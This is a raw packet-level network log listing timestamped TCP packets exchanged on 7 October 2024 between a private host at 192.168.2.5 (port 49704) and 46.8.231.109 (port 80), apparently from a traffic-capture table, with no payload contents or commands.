Oct 7, 2024 17:22:01.002614975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.002624989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.002654076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.002677917 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.002677917 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.002728939 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.002744913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.002753973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.002763033 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.002790928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.002800941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.002813101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.002839088 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.002897024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.002906084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.002914906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.002937078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.002954006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.003622055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003631115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003640890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003668070 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.003695011 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.003737926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003746986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003757000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003779888 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.003817081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.003827095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003837109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003845930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003855944 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003864050 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.003865957 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003890991 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.003906965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.003943920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003952980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003962994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003973961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003983021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.003984928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.003994942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004019022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.004041910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.004131079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004138947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004147053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004158020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004167080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004170895 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.004177094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004187107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004194021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.004224062 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.004265070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004275084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004285097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004293919 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004300117 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.004303932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004313946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004323006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004328966 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.004342079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004359961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.004362106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.004379034 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.004405975 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.005001068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.005042076 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.005054951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.005064964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.005086899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.005112886 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.005134106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.005143881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.005152941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.005162001 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.005167961 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.005187035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.005213022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.006880999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.006931067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.006938934 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.006944895 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.006975889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.006988049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.006998062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007005930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007011890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007026911 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007055998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007060051 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007069111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007093906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007098913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007103920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007127047 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007153034 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007196903 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007206917 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007215977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007225990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007232904 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007261992 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007320881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007354021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007364988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007375002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007404089 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007421017 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007448912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007458925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007468939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007478952 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007478952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007494926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007513046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007514954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007554054 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007561922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007570028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007601023 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007633924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007642984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007689953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007697105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007699013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007709980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007728100 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007767916 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007776976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007786036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007795095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007805109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007810116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007822990 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007858038 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007869959 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007879972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007889032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007899046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007909060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007909060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007927895 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007946014 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007953882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007962942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007972002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007982016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.007987022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.007992983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.008006096 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.008037090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.008938074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.008946896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.008958101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.008966923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.008985996 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.009013891 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.009021997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009031057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009041071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009059906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.009078979 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.009082079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009089947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009094954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009100914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009109974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009124994 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.009135962 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009147882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009156942 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.009157896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009174109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.009205103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.009207964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009217024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009224892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009246111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009246111 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.009255886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009263992 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.009278059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009294987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.009320021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009320974 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.009330988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.009351969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.009371042 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.086523056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.086534977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.086580992 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.086657047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.086772919 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.087313890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.087404013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.087444067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.087481022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.087625980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.087779045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.087788105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.087814093 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.087852955 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.088496923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.088541985 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.088684082 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.088694096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.088721037 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.088740110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.088865042 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.088902950 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089045048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089055061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089087963 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089248896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089257956 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089267969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089277983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089288950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089291096 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089298010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089313030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089345932 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089421034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089437962 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089447021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089454889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089457989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089466095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089474916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089483023 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089484930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089493990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089504004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089512110 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089519978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089520931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089530945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089541912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089541912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089556932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089560986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089572906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089577913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089585066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089592934 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089601040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089606047 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089612961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089622021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089631081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089637995 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089641094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089653015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089656115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089662075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089673996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089678049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089682102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089689970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089699984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089701891 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089709997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089720011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089720964 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089729071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089739084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.089741945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089762926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.089777946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.090219021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.090226889 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.090235949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.090256929 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.090282917 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.090385914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.090394974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.090404987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.090414047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.090425014 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.090451956 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.090567112 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.090575933 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.090580940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.090590000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.090606928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.090622902 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.090749979 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.090759039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.090769053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.090789080 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.090816975 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.091687918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.091696978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.091706991 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.091716051 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.091723919 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.091726065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.091736078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.091744900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.091777086 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.091914892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.091952085 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.092045069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092056036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092066050 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092076063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092086077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092091084 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.092108965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.092130899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.092163086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092201948 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.092367887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092377901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092386007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092396021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092406034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092406034 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.092416048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092425108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.092453003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.092535973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092545033 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092555046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092564106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092566967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.092575073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092586040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092595100 CEST	80	49704	46.8.231.109	192.168.2.5
